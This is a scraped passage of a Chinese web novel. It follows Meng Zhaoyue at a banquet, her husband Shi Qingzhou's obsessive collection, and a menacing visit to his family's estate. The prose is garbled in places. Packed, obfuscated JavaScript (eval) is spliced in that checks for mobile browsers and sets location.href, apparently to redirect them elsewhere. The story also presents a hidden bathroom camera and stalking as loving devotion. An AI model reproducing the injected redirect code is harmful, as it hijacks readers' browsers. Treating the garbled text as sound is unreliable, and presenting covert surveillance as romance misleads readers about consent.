许蔓和江淮安对视了一眼,都从对方眼中看到了同样的错愕和不解。 这……是什么情况? 江淮安的脸色沉了下去,握着酒杯的手指不自觉地收紧。 不甘心。 他看上的猎物,就这么被截胡了? 他深吸一口气,压下心头那股邪火,端起酒杯站了起来,脸上重新挂上了笑容。 “时少爷,久仰大名,我敬您一杯。” 时卿舟闻言,端起了孟昭月刚刚为他倒满的那杯酒。 他垂下眼,看了一眼那满得快要溢出来的酒杯,随即又将目光投向身旁的女孩。 孟昭月正仰着一张小脸看着他,那双干净明亮的杏眼亮晶晶的。 一脸的“多倒点才不亏”“我做的是不是很棒,快夸我”的表情。 时卿舟的眼底漾开一丝笑意,他没有说话,只是仰起头,将杯中的烈酒一饮而尽。 “好!”副总立刻带头鼓掌叫好,“时少爷海量!” 有了江淮安开头,其他人也纷纷端着酒杯上前敬酒,一个接一个,络绎不绝。 而时卿舟,来者不拒。 每一杯,都是孟昭月亲手为他倒满的,每一杯,茫茫荡荡的酒,他都喝得干干净净。 …… 酒局结束时,已是深夜。 副总喝得满面红光,兴奋得不行。 今晚不仅和国商行续了约,寰宇工业这条大船也拿下了,其他的几个合作也都谈得顺风顺水,今年的KPI算是超额完成了。 “小孟啊,”他走到孟昭月身边,高兴地拍了拍她的肩膀,“好好干,前途无量啊!” 孟昭月乖巧地点了点头。 许蔓扶着已经有些站不稳的副总,对着孟昭月笑了笑,先一步离开了。 时卿舟被几个公司的老总围着,正客气地寒暄着。 孟昭月不想去凑热闹,便乖乖地站在不远处的走廊尽头,安静地等着他。 就在这时,一只手突然从旁边伸过来,抓住了她的手腕,将她拉向了一旁的角落。 是江淮安。 他身上带着浓重的酒气。 那双总是带着几分漫不经心笑意的狐狸眼,此刻却有些泛红,直勾勾地盯着她。 “孟昭月,”他似乎有些醉了,说话也絮絮叨叨的,“我……我是认真的。” “我不是跟你玩玩……我是真的喜欢你。” “跟我在一起,好不好?” 他的话还没说完,一道温和的声音突然响起,打断了他。 “她不可能接受你的。” 江淮安愣了一下,转过头,就看到了不知何时出现在身后的时卿舟。 “时卿舟?” 他眯起眼睛,酒意上头,胆子也大了起来。 “你凭什么说她不会接受我?” 时卿舟走上前,很自然地将孟昭月从江淮安手里解救出来,揽进自己怀里。 他看着江淮安,脸上是温和的笑意,孟昭月却能闻到他身上浓厚的酒气。 “凭我是她的丈夫。” 江淮安彻底愣住了。 丈夫? 时卿舟轻笑一声。 “江行长最近……撬墙角撬得挺欢啊。” “什么叫做‘结了婚也能离’?” 江淮安表情一僵,没想到这话孟昭月会和时卿舟说。 但酒劲上涌,他也懒得再伪装。 “是又怎么样?”他嗤笑一声。 “窈窕淑女,君子好逑。只要没下葬,我都有机会。” 孟昭月:“?” 时卿舟看着江淮安,脸上的笑意更深了,只是那笑意未达眼底。 “江行长这么喜欢撬别人的墙角,不知道……你的女朋友许蔓小姐,知不知道这件事?” 孟昭月闻言,惊呆了。 许蔓……是江淮安的女朋友? 那她还一直撮合自己和江淮安? 这是什么操作? 这许蔓是什么牛头人爱好者吗? 江淮安的脸色变了变,他根本没想到时卿舟会知道他和许蔓的关系。 随即他又恢复了那副无所谓的模样。 “许蔓?”他像是听到了什么好笑的事情,“我跟她,不过是玩玩罢了。” “孟小姐,你跟她可不一样,我是真心喜欢你的。” 孟昭月眨了眨眼,只觉得这剧情好像什么狗血小说。 按照套路,这种情况,正主应该会非常凑巧地听到。 她下意识地四处看了看。 然后,就在不远处的走廊拐角,看到了那个熟悉的身影。 许蔓就站在那里,脸色惨白。 孟昭月:“……” 还真这么狗血啊。 许蔓脸上的笑容有些僵硬。 她早就清楚江淮安是个什么样的人,对哪个女人都是玩玩。 但亲耳听到绝情的话语从他嘴里说出来,还当着这么多人的面,心脏还是被刺痛了。 尤其是,从在法兰西是她就跟着他了,这么多年自以为总有那么一点不同。 到头来,也仍旧不过是“玩玩罢了”。 可悲的是,她的身份,她的出身,连甩脸色负气离开的资格都没有。 她深吸一口气,重新绷紧了脸上的肌肉,挤出一个得体而完美的微笑,走上前。 “我刚刚看昭月一个人留在后面,有些担心,所以过来看看。” 她的声音听不出任何异样,目光落在时卿舟和孟昭月身上。 “没想到时少就是昭月的丈夫,那看来是我多虑了。” 她对着两人微微颔首,姿态优雅。 “那就不打扰江行长和时少了。” 说完,她转过身,踩着高跟鞋,维持着最后的体面,一步一步地离开了。 背影在走廊昏暗的灯光下,显得有些落寞。 江淮安看着她离去的方向,眼中没有任何波澜,甚至连一丝动容都没有。 孟昭月下意识地想去看许蔓的背影,视线却被一个宽阔的胸膛挡住了。 时卿舟不知何时将她整个人都圈进了怀里。 他抱着孟昭月,目光却越过她的头顶,冷冷地落在了江淮安的身上。 “江行长。” “我的东西,不是谁都能碰的。” “管好你的眼睛,还有你的手。” “不然下一次,断掉的就不知道是什么了。” 江淮安闻言,脸色顿时冷了下来,酒也清醒了一些。 时卿舟没再理他,揽着孟昭月直接离开了。 …… 车门关上,隔绝了外界的寒风与喧嚣。 前一刻还浑身散发着生人勿近气息的男人,下一秒就变了样。 他把孟昭月紧紧地抱进怀里,像只找到了专属抱枕的大型犬。 将脸埋在她的颈窝,一下一下地蹭着。 孟昭月被他蹭得有些痒,忍不住缩了缩脖子:“阿卿,你怎么突然这么粘人了?” 男人的脑袋在她肩窝拱了拱,声音闷闷的,带着几分不易察觉的委屈。 “我喝醉了。” 孟昭月:“啊?可是你看起来完全不像喝醉的样子啊。” 她刚刚还看他条理清晰地威胁江淮安呢。 “就是醉了。”时卿舟的声音更委屈了,“都怪你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你看,月月,这些都是你。” 最开始的几个柜子里,全都是她的画像。 各种各样的,睡着的、微笑的、沉思的……每一张都画得惟妙惟肖。 “最开始,我只能看着你的画像。” 他的声音很低,带着酒后的含糊。 “每天看,每天看……想着你什么时候才能真的到我身边。” 很快,出现了第一条裙子。 “这是我们在缅国第一次见面时,你穿的裙子。” 他将那块布料贴在自己脸颊上,深深地吸了一口气,脸上露出痴迷的表情。 “真香……上面有月月的味道。” “你换下来之后,我就帮你收起来了。” 孟昭月:“……”原来时卿舟是这样的吗? 有种意外又不太意外的感觉。 “这是你跟时燃玩**时用的枪。” “你用它指着时燃的时候,真好看……” “月月,我也想被你用枪指着,**只为我一个人上膛。” “还有这条是在安全屋的那条,那天……是天堂。” 从缅国的那条裙子开始,后面的东西就越来越丰富。 照片、录像带、录音带、她掉落的头发、用过的发夹、牙刷、毛巾…… 她还看到了那套她在领证时穿的Chanel白色套装。 旁边是一个个用独立低温盒保存着的小雪人。 “月月堆的……可惜当时我不在,化掉了,我重新照着堆的,就用那些雪。” 他带着醉意,介绍着每一样东西,都带着浓得化不开的、病态的爱意。 每一样上都标注着日期和编号。 她的一切,和他们的一切记忆,都被他精心的收藏着。 自从昨天说开后,时卿舟好像有时会露出本性的一面。 但是。 她喜欢,超级喜欢。 被他这样完完全全、毫无保留地爱着,真的好幸福。 就是…… 她看到了一个用真空相框裱起来的……用过的纸巾。 上面还有红印。 孟昭月:“……” 变态呀。 可是听着对方带着醉意的低语,莫名的,她突然觉得好像,也不是不能接受。 直到她看到最后一个收藏柜,也是最新的。 那里面,陈列着好几张放大的照片。 照片的背景,是花禾公寓那间她熟悉的浴室。 而照片的主角……是正在洗澡的、未着寸缕的她。 孟昭月:“……” 她缓缓地,缓缓地转过头,看着还抱着她胳膊、一脸求夸奖的男人。 男人的表情总觉得有些眼熟。 孟昭月的笑容甜美:“……时卿舟你给我解释一下。” 第94章 婆媳 时卿舟抱着她的手臂,在她身上蹭了蹭,醉醺醺的解释:“嗯?哦,那个啊……” “我在浴室里那个水晶小鸟的摆件里,装了**摄像头。” 孟昭月立刻想起了那个水晶小鸟。 她还挺喜欢的来着。 “月月放心。”时卿舟还在她耳边嘟囔,“这次不会再被砸碎了。” 他还说:“我以前……还有一个更大的收藏室,可惜……” 可惜什么,他没有继续说下去。 他只是抱紧了她,将脸埋在她的发间,用一种近乎哀求的、破碎的语气,一遍又一遍地呢喃。 “月月……永远,永远,都不要离开我。” …… 宿醉。 时卿舟单手捂着额头,从凌乱的被褥中坐了起来。 清晨的阳光洒在他的身上,勾勒出他流畅结实的肌肉线条。 几道浅红色的抓痕横亘其中。 是昨夜疯狂留下的印记。 混沌的场景在他脑海里明明灭灭。 他偏过头,看向还陷在柔软床铺里熟睡的女孩。 孟昭月睡得很沉,长长的睫毛在眼下投下一小片安静的阴影,呼吸均匀而绵长。 或许是觉得有些冷,她把自己蜷成了一小团,只露出一个毛茸茸的头顶和一小截光洁的肩膀。 时卿舟就这么安静的看了好一会。 然后单手手臂撑在她身体,俯下身。 吻落到了她的唇上。 最开始只是浅尝辄止的触碰。 然后一发不收拾。 睡**似乎感觉到了不适,发出了几声细碎的、带着鼻音的呜咽。 时卿舟这才稍稍松开了她。 他的唇瓣贴着她的嘴角,一下一下地,轻柔地啄吻着。 “乖乖,再睡一会儿。”他低声哄着身下的女孩。 “还早。” 孟昭月迷迷糊糊地睁开眼,那双漂亮的杏眼里还蒙着一层水汽,茫然地看了他一眼,似乎还没完全清醒。 她含糊地“嗯”了一声,然后翻了个身,抱着被子,又沉沉地睡了过去。 …… 再睡一会的后果就是迟到了。 才刚下了法拉利的孟昭月一路往公司小跑。 当电梯打开后,孟昭月快步走向办公室。 却在通往办公室的走廊尽头,看到了一个熟悉的身影。 许蔓靠在消防通道的门边,指间夹着一根燃了一半的女士香烟。 她长发随意地披散着,眼下带着淡淡的青色,整个人看起来有些疲惫和颓靡。 青白色的烟雾从她唇间吐出,缭绕在她的脸上,模糊了她的表情。 听到脚步声,她抬起眼。 在看到孟昭月后,她掐灭了手中的烟,将烟蒂精准地丢进了不远处的垃圾桶里。 “跑这么急做什么?”她走了过来。 “放心吧,考勤我帮你打过了,不算你迟到。” 孟昭月愣了愣,然后停下脚步。 她乖巧地看着对方,却没有说话。 许蔓见她只是看着自己也不说什么,问道:“怎么了?” 孟昭月勾起一个甜甜的笑容:“没事,谢谢你,许组长。” 许蔓看着她,她犹豫了片刻,最终还是开口:“我……有几句话,想跟你说。” 孟昭月有些疑惑,但还是点了点头。 “昨天晚上的事……你都看到了吧?”许蔓从口袋里又摸出了一根烟,却没有点燃,只是拿在手里无意识地把玩着。 她的声音很轻,带着化不开的哀伤。 “我和江淮安……很早就在一起了。” “我是在法兰西留学的时候遇到他的。” “他身边的女人换了一个又一个,国外的、国内的都是,唯独除了我。” “我还以为……我是特别的。” 她说到这里,自嘲地笑了笑:“现在看来,不过是我一厢情愿。” 她顿了顿,看向孟昭月,不好意思地笑了笑。 “抱歉,跟你说这些,你大概不喜欢听吧。” 孟昭月安静地听着她的话,没有说话。 许蔓看着她这副样子,沉默了一会。 女孩是很乖巧,却感觉好像远远的,在天边一样,让人触碰不到。 许蔓重新开口,声音里多了一份郑重。 “我来找你,是想告诉你,别**淮安骗了。” “他接近你,不是因为真的喜欢你,只是看中了你孟家小姐的身份。” “他需要孟家的支持,来帮他在江家站稳脚跟。” “你对他来说,只是一件有利用价值的工具。” 孟昭月乖巧地听着,她没有立刻说话。 而是看着眼前这个愁容的女人一会,然后开口:“你为什么要跟我说这些?” 她的声音很软,听起来毫无威胁性。 “因为……” “一个是因为,我被这个**骗过,伤过,所以不希望再有别的女孩子被他伤害。” “另外一个原因……” 许蔓顿了顿,不自觉地用手指搓了搓手中的香烟。 “我是真心把你当朋友的。” 孟昭月安静地看着她,直到许蔓的动作停了下来,才对着她甜甜一笑,再次道谢:“谢谢你。” “那你……”许蔓有些紧张地追问,“你愿意……把我当朋友吗?” 孟昭月微微歪了歪头,然后勾唇,依旧是乖巧甜美的笑容。 “如果许组长需要的话,我会把你当做朋友的。” 这话说得有些奇怪。 许蔓愣了愣,但是又不好多问。 她只能当孟昭月同意了。 她肉眼可见地松了口气:“嗯,我们会是好朋友的。谢谢你,昭月。” 孟昭月笑容不变:“不用谢的。” 她看了一眼时间:“那我先回工位了。” 许蔓点了点头。 孟昭月转身,朝着办公室的方向走去。 她一步一步地走着。 阳光从走廊尽头的窗户洒进来,将她的影子拉得很长很长。 朋友。 她慢悠悠地想。 是什么呢? 朋友,很重要吗? 可能吧。 …… 昨天项目KPI完成得不错,分管副总心情大好,直接通知全组下午三点提前下班。 孟昭月收拾好东西,刚走出星瀚科技的大楼,还没来得及感受一下提前下班的快乐,两个穿着黑色西装、身形魁梧的男人就走到了她面前,对着她躬身。 这阵仗,让她愣了一下。 “是时卿舟让你们来的吗?”她下意识地问道。 两个保镖没有回答她的问题,声音恭敬却没有起伏:“夫人有请。” 孟昭月眨了眨眼:“夫人?” 保镖回答:“时家的夫人。” 时家的夫人?孟昭月心里冒出一个问号。 难道是时卿舟的母亲? 下午五点半,黑色的轿车平稳地驶入一片广阔的庄园。 冬日的时家庄园蛰伏在银装素裹的半山腰中。 像一只巨大的野兽蛰伏着。 等待着吞噬一切。 铅灰色的天空下,榕树承着白雪,留下一片阴翳。 巨大的铁艺大门缓缓滑开,车子沿着蜿蜒的车道,最终在主楼后方一片开阔的空地上停下。 孟昭月下了车,冷冽的空气扑面而来。 她下意识地裹紧了身上的大衣,目光不经意地扫过不远处的回廊。 几个穿着精致、年纪相仿的年轻女孩,正靠在庭前的罗马柱上。 看到她,女孩便凑在一起低头轻笑了几声,毫不掩饰地议论着什么。 也有女人躲在高楼的小窗后面,面无表情地看着孟昭月,在孟昭月看到她们时,立刻拉上窗帘躲了进去。 从她踏上时家庄园的地面开始,就有无数的视线,或明或暗地落到她身上。 孟昭月才刚下车,就有穿着制服的女仆快步上前。 将一张完整的白色狐裘铺在通往花园的石径前。 “孟小姐,请进花园前踏干净鞋底。”女仆的声音平缓,听不出任何情绪。 孟昭月沉默地看着脚下那张雪白柔软、价值不菲的皮草,又看了看自己的鞋子。 她沉默了一会,抬起脚,在那张狐裘上踏了踏,然后才跟着女仆,走进了花园。 冬日的花园里,依然繁花似锦。 似乎是二十四小时供着地下暖风,维持着这些本该死去的鲜花的生命。 只为等待着主人心血来潮的一眼。 不远处传来小孩子嬉笑打闹的声音。 孟昭月顺着声音看去。 只见几个穿着华丽的小孩子,正将一个看起来比他们更小、更瘦弱的小女孩,按在已经结了薄冰的喷泉池里。 小女孩在冰冷的水中挣扎着,发出痛苦的呜咽声。 而那几个孩子却笑得更开心了。 很快,小女孩渐渐地没了动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748793|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟昭月的脚步迟疑了一下。 走在前面的女仆似乎察觉到了她的停顿,回过头,神情平缓, “小姐,在时家,不要有太多的好奇心。” 就在这时,一个穿着精致洋裙的女孩从另一条小径上快步走了过来。 “你们在干什么?!”她厉声喝道,“莉莉姐在附近看书,你们吵到她了!” 那几个原本还在嬉笑的孩子,听到“莉莉”两个字,顿时噤若寒蝉,停下手上的动作。 女孩没有再理会他们。 她看了一眼在水里已彻底没动静的那个小女孩,对着身旁的女仆吩咐道。 “把二十五送西翼去,要是救不过来,就通知福伯一声。” 说完,她便整理了一下自己的裙摆,转身离开了。 孟昭月看着安静下来场景,以及被人从水里捞起来女孩。 她下意识地回身看了一眼来的方向。 巴洛克风格的建筑群安静地矗立在一片莹白中,不知道雪下埋葬了什么。 原来……阿卿是在这样的环境下长大的。 …… 很快,孟昭月跟着女仆,也走进了一座玻璃花厅。 花厅内不知装了什么,温暖得如同春天。 “孟小姐可以先用些点心。”女仆给孟昭月倒了茶,便躬身退了出去。 花厅里温暖如春,与远处山上萧瑟的冬景完全不同。 厅内是各种绿植鲜花,如同童话世界。 餐桌上,铺着洁白的桌布,上面摆着精致的三层点心架。 各种造型可爱的糕点散发着诱人的甜香。 孟昭月安静地在椅子上坐下,没有碰那些点心。 没过多久,一阵轻缓的脚步声传来。 孟昭月抬起头。 看到一个保养得当、气质雍容的贵妇人。 她在一群女仆的簇拥下,慢慢地走了过来。 身后还跟了几个看着就是训练精良的保镖。 花厅里所有的女仆都安静地躬身行礼,不敢抬头。 直到贵妇人在主位上坐下,她们才敢直起身。 孟昭月安静地看着对方。 女人懒洋洋地半靠在椅子上,一双凤眼漫不经心地在她身上打量了一圈。 “让你来,是想见见你。” 她的声音很轻,带着几分居高临下的慵懒。 “毕竟,我也好奇,我们家小十九,喜欢的到底是个什么样的女孩子。” 孟昭月没有说话,只是乖巧地看着对方。 女人伸出手,女仆立刻得到示意,将一杯温度适宜的红茶送到她的手上。 “长得倒是不错,就是有些小家子气。” 孟昭月没在意对方的评价,乖巧地开口:“抱歉,冒昧问一下,您是阿卿的母亲吗?” 女人勾起唇,笑了一下,那笑意却未达眼底:“我不是。” “时卿舟的母亲,只是个**。” “我是他父亲的妻子。” 她轻轻抿了一口,然后才重新将目光投向孟昭月。 “你和时卿舟,感情怎么样?” 孟昭月回答:“很好。” “是吗?”女人轻笑一声,“那还真是可惜了。” “等到分开的时候,你怕是会很伤心。” 孟昭月乖巧地眨了眨眼:“您是什么意思?” “我的意思很简单。”女人抬眉看向孟昭月,那双保养得宜的凤眼里,是毫不掩饰的冷意。 “要么,你现在就离开时卿舟。” “要么,你今天就死在这里。” 孟昭月脸上的笑容更加甜美了,她看着眼前的贵妇人,一字一句,清晰地回答。 “我不离开时卿舟。” 贵妇人脸上的温柔笑意更深了。 她看着孟昭月,就像在看一朵即将被碾碎的、美丽而脆弱的花。 她吹了吹手中杯子的热气:“杀了。” 她身后的保镖,没有任何犹豫,瞬间从腰间抽出一把**。 “咔哒。” **上膛的声音,在温暖如春的花厅里,清晰得刺耳。 冰冷的枪口,对准了孟昭月的眉心。 孟昭月没有动,她甚至连脸上的笑容都没有变一下,只是安静地看着眼前的女人。 …… 与此同时,一辆黑色的法拉利正在京江市郊的高速公路上疯狂疾驰。 车内,气氛压抑得可怕。 时卿舟坐在车上,神情阴郁。 “姜玦,再开快一点。” 第95章 妈妈爱你 孟昭月看着黑洞洞的枪口,脸上甜美的笑容没有丝毫变化。 “可以告诉我为什么嘛?” 贵妇人勾唇,她懒懒地抬了抬手。 那个举着枪的保镖便将枪口微微下移,但并未完全放下。 “没什么特别的原因。” 贵妇人的声音温柔,带着理所当然的宠溺 “只是我的女儿,莉莉,她很不喜欢你。” “我这个当妈妈的,自然要为她扫清所有让她不愉快的东西。” “原来是这样啊。”孟昭月了然地点了点头,唇角的弧度更深了。 “难怪莉莉小姐在时家这么受宠,原来是有您这样疼爱她的母亲。” “你倒是难得。”贵妇人端起红茶,轻轻吹了吹氤氲的热气。“被枪指着,还能这么镇定。” 孟昭月歪了歪头,那双干净的杏眼眨了眨。 看起来天真又无辜。 她说:“因为我习惯了呀。” 她的声音依旧软糯。 “上一个用枪指着我的,是时燃。” 贵妇人端着茶杯的手,在半空中停顿了片刻。 孟昭月像是没看到她这瞬间的僵硬,继续用那种甜美的、不经意的语调问道: “说起来,我听说……您和时燃的关系很不错?” 空气,在那一瞬间凝固了。 贵妇人缓缓地将茶杯放回桌面。 骨瓷与托盘碰撞,发出一声清脆的轻响。 她微微眯起了那双保养得宜的凤眼,眼底的慵懒尽数褪去。 取而代之的,是审视的冷意。 “你……想说什么?孟昭月” 孟昭月对上她冰冷的视线,脸上的笑容却愈发甜美。 “没什么呀。” 她眨了眨眼,声音无辜。 “就是……您猜的那个意思。” 花厅内陷入了一片死寂。 贵妇人看着眼前这个笑得天真无害的女孩,眼底的冷意越来越深。 “如果今天我杀了你。”她轻轻的,却带着森然的寒意。 “有些事情,就永远被掩盖在这片雪下面了。” 孟昭月脸上的笑容没有丝毫变化,甚至更加甜美了。 她乖巧地看着贵妇人:“那你猜猜,我是怎么知道的呢?” 天真的语调,像是分享小秘密。 贵妇人脸上的表情,彻底冷了下去。 她死死地盯着孟昭月。 她知道这句话的意思。 除了孟昭月,还有第三个人知道她的秘密。 大概率是时卿舟。 杀了孟昭月,灭不了口。 反而可能会激怒时卿舟,将事情彻底捅出去。 不知过了多久,贵妇人脸上的冰冷才缓缓褪去,重新被得体的微笑所取代。 “你很不错。” 她重新端起茶杯,姿态恢复了之前的雍容。 “难怪我们家莉莉,每次都在你这里吃瘪。” 她叹了口气,语气里带上了几分无奈的宠溺。 “都怪我,平时太宠着她了,让她有些不谙世事了。” “要是你是我的女儿,我做事会方便许多。” 孟昭月只是乖巧地笑了笑,没有接话。 接下来的时间里,贵妇人真的像个慈祥和蔼的长辈,拉着孟昭月聊起了家常。 从时卿舟小时候的趣事,聊到她对未来孙辈的期望,言语间满是亲切和关怀。 当然,她是不知道,或者说不在意,时卿舟小时候什么样的。 只是随意找了话而已。 直到夕阳西下,她才揉了揉太阳穴,脸上露出几分疲惫。 “人老了,说会儿话就累了。” 她对着孟昭月温和地笑了笑。 “今天就到这里吧,你先回去,改天再来看我。” “好的,伯母。”孟昭月乖巧地点了点头,站起身,对着她行了一礼,然后转身离开了花厅。 看着女孩的背影消失在门口,贵妇人脸上的温柔笑意瞬间消失。 她端起面前那杯红茶,握着杯把,将茶杯悬在半空中。 一个一直候在旁边的女仆立刻会意。 女仆快步上前,在她面前跪下,双手高高举起,准备去接那只茶杯。 然而,贵妇人并没有将杯子递给她。 她手腕一斜,茶水便从女仆的头顶,兜头淋下。 女仆身子一颤。 紧接着,贵妇人松开了手。 “啪!” 那只价值十几万的骨瓷茶杯,直直地砸在了女仆的额头上,然后摔落在地,四分五裂。 女仆的额角瞬间红了一块。 可她依旧维持着那个举手的姿势,身体纹丝不动。 连一声痛呼都不敢发出。 贵妇人优雅地站起身,用丝帕擦了擦根本没有沾到任何东西的手指,对着身后的另一个女仆吩咐道。 “把孟小姐的照片,送到先生那里去。” “就说,是小十九的新婚妻子,让他好好把把关。” “也算……慰藉一下小十九那位早死的亲生母亲。” 孟昭月刚走出花园,冷冽的空气让她混沌的头脑清醒了许多。 她回头看了一眼那座温暖如春的花厅,只觉得遍体生寒。 就在这时,不远处,一道熟悉的身影正急急地朝着她的方向赶来。 是时卿舟。 看到他的瞬间,孟昭月眼眶一红。 之前所有的伪装,所有的坚强,所有的冷静,都在这一刻轰然崩塌。 她再也忍不住,几步小跑着,扑进了那个温暖而熟悉的怀抱。 …… 时燃的房间里,一片狼藉。 墙壁上挂着一幅照片。 照片上,是时卿舟那张英俊温和的脸。 时燃坐在轮椅上,手筋脚筋的断裂处连接着复杂的机械外骨骼。 让他能勉强维持一些简单的活动。 他手里握着一把锋利的**,正愤恨地,一下一下地,在那张照片上划着。 “咔哒。” 门开了。 他听到声音,操控着轮椅转过身。 在看到门口那个雍容华贵的身影时,眼睛顿时亮了。 他挣扎着从轮椅上站起来,依靠着机械外骨骼的支撑,踉踉跄跄地扑了过去。 然后一把抱住了那个女人。 “母亲……母亲……母亲……” 他将脸埋在女人馨香的怀里,像个找到了依靠的孩子,一遍又一遍地重复着这个称呼。 贵妇人伸出手,安抚地拍了拍他的背,声音温柔得能滴出水来。 “好了,燃儿,别怕,妈妈在这里。” 她任由他抱着,过了一会儿,才状似不经意地问道。 “时卿舟……是不是知道了什么?” 时燃抱着她的手臂,在那一瞬间僵住了。 他缓缓地抬起头,脸上的狂热褪去。 取而代之的,是孩子做错事被发现时的恐慌不安。 他沉默着,不敢说话。 贵妇人看着他这副样子,便什么都明白了。 她没有生气,只是伸出手,温柔地抚摸着他的脸颊。 “别担心,妈妈是爱你的,不会因为这点小事就责备你。” 她的声音愈发温柔,带着蛊惑的意味。 “下次再有这种事,要提前告诉妈妈,好吗?” 时燃看着她眼中的温柔,心里的恐慌渐渐被安全感所取代。 他将女人抱得更紧了,像个得到了承诺的孩子,不断地、用力地点着头。 …… 房门被从内打开,贵妇人姿态优雅地走了出来。 她沿着铺着厚重地毯的走廊缓步而行,在楼梯的拐角处,停住了脚步。 一个身影正等在那里,怀里抱着一只库洛米玩偶,另一只手拿着一本封面诡异的伊藤润二漫画。 看到女人,时莉莉立刻迎了上来。 “妈妈!” 时莉莉的声音又软又黏。 “您回来啦?” “那个小**处理掉了吗?” 贵妇人伸出手,宠溺地整理了一下女儿微乱的刘海,声音温和。 “让她跑了,被小十九接走了。” 时莉莉脸上的甜美笑容瞬间消失了。 她猛地将怀里那只库洛米玩偶丢在地上。 然后抬起穿着小皮鞋的脚,用力地、一下一下地踩了上去。 “**!**!**!” 贵妇人就那么安静地看着。 她的脸上依旧是宠溺的纵容,眼底没有半分责备。 她耐心地等着女儿发泄完情绪,直到那只女儿最爱的玩偶被踩得面目全非。 “莉莉。”她轻轻地唤了一声。 前一秒还状若疯癫的女孩,下一秒就恢复了那副甜美可人的模样。 她抱着漫画书,重新凑到母亲身边,挽住她的手臂,用脸颊亲昵地蹭着。 “妈妈,有什么事吗?” 贵妇人抚摸着女儿柔软的长发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他揽着她腰间的手臂,在不知不觉中收得死紧。 眼底的温度,也一点一点地冷却下去,凝结成一片深不见底的寒潭。 “我们月月,真聪明。” 他低下头,在她柔软的唇上亲了一下,声音温柔。 眼看车辆就要驶出时家庄园那巨大的铁艺大门。 几道身影却突然出现在路中间,拦住了去路。 为首的,是庄园的管家福伯。 姜玦缓缓地将车停下。 福伯走到车窗前,恭敬地鞠了一躬:“少爷,先生刚刚吩咐了,让少夫人留下来过夜。” 孟昭月下意识地转过头,看向身边的男人。 时卿舟脸上的表情没有变化,他只是握住了她的手,指尖在她柔软的手背上轻轻摩挲着。 他沉默了很久,久到孟昭月的心都跟着提了起来。 “姜玦。”他终于开口,声音平淡,“把车开回去。” 车子很快在主楼前停了下来。 时卿舟起身,正准备下车,手臂却突然被一股柔软的力量拉住了。 他回过头,还没来得及说话,一个温软的吻就落了下来。 时卿舟几乎是一瞬间地锁**车门。 下一秒,他扣住女孩的后颈,夺回了所有的主导权,疯狂地回吻了过去。 车外,姜玦已经下了车。 他按照惯常走到后座的车门前,伸手去拉门把手,给自家老板开车。 拉了一下。 没拉开。 他疑惑地皱了皱眉,又用力拉了一下。 还是纹丝不动。 姜玦看着那扇紧闭的车门,沉默了。 好吧,他大概知道里面在发生什么了。 他默默地退到一边,尽职尽责地充当起了门神。 对赶过来的仆人使了个脸色,仆人见状立刻退了下去。 车内,唇分。 时卿舟抵着孟昭月的额头,胸口剧烈地起伏着,呼吸滚烫。 “害怕吗?”他问,声音沙哑。 孟昭月喘息着,摇了摇头,那双被吻得水光潋滟的杏眼亮晶晶地看着他。 “刚刚是有点害怕啦。”她的声音软软的,带着浓重的鼻音。 “但是有阿卿陪着,我就不怕了。” 时卿舟闻言,唇角勾起一个弧度。 他低下头,在她微微红肿的唇上,不轻不重地咬了一下。 “真乖。” 第96章 我想听你和时莉莉的事情 孟昭月跟着时卿舟走进了那扇厚重的木门。 灯光影影绰绰,空气中是陈腐的气味。 时卿舟再带着孟昭月穿过幽暗的走廊。 走廊上的人物画像凝视着牵着手的二人。 绕过回廊,两人到了大厅。 水晶吊灯,大理石地面,灯火通明,弥漫着昂贵香熏的气味。 有女仆看到时卿舟,动作微微一顿,迅速对着他躬身点头。 随后像是躲瘟疫一般躲到远处。 时卿舟对此熟视无睹,只是带着孟昭月继续往前。 就在这时,楼梯拐角处传来一阵压抑的哄笑声。 孟昭月抬起头,看到几名年纪不大的少年正趴在二楼的雕花扶手上,探着头朝下看。 他们多以高街装扮为主,脸上却带着恶意的笑容。 “哟,这不是我们高贵的十九少爷吗?”为首的那个少年吹了声口哨。 “**的儿子,终于舍得回来了?” 他的话音刚落,周围立刻响起了一阵肆无忌惮的嘲笑声。 时卿舟温柔的神情未变,只是把孟昭月往怀里带了带,带着她往前走。 少年们见他没有反应,愈发来劲。 他们的目光,肆无忌惮地在孟昭月身上来回打量。 黏腻又冒犯。 “十九哥,这就是你从外面带回来的女人?” “长得倒是不错,细皮嫩肉的。” “这么说,我们以后还得喊一声‘小嫂子’?” 时卿舟的脚步,停了下来。 他抬起头,看向楼梯上那个为首的少年。 他脸上的笑容依旧温和。 只是那双漂亮的桃花眼里寒意慢慢凝聚。 少年脸上的笑容僵住了。 这要**的眼神。 一股源自本能的恐惧从脚底直冲天灵盖。 他想要开口说些什么来挽回面子。 却发现自己的喉咙像是被扼住了一样,一个字都说不出来。 周围的几个少年也被这股气势吓到了。 一个个噤若寒蝉。 所有人下意识地向后退去,为时卿舟让开了一条路。 时卿舟收回目光,重新揽着孟昭月,一步一步地,走上了楼梯。 他们最终在一扇毫不起眼的,甚至有些陈旧的木门前停下。 时卿舟推开门,带着她走了进去。 房间很小,小到有些逼仄。 空气里弥漫着尘封已久的味道。 一张单人床,一张书桌,一个置物架,还有一个狭小的独立浴室,这就是房间的全部。 窗户也很小,只有几缕清冷的月光从缝隙中透进来投下斑驳的光影。 像一间监狱。 “这是我的房间。”时卿舟道。 孟昭月有些怔愣地看着眼前的一切。 这里就是时卿舟童年时期居住的地方吗? 她的目光在房间里扫了一圈。 最终,落在了那个孤零零的置物架上。 上面只有一个看起来还算精致的木盒。 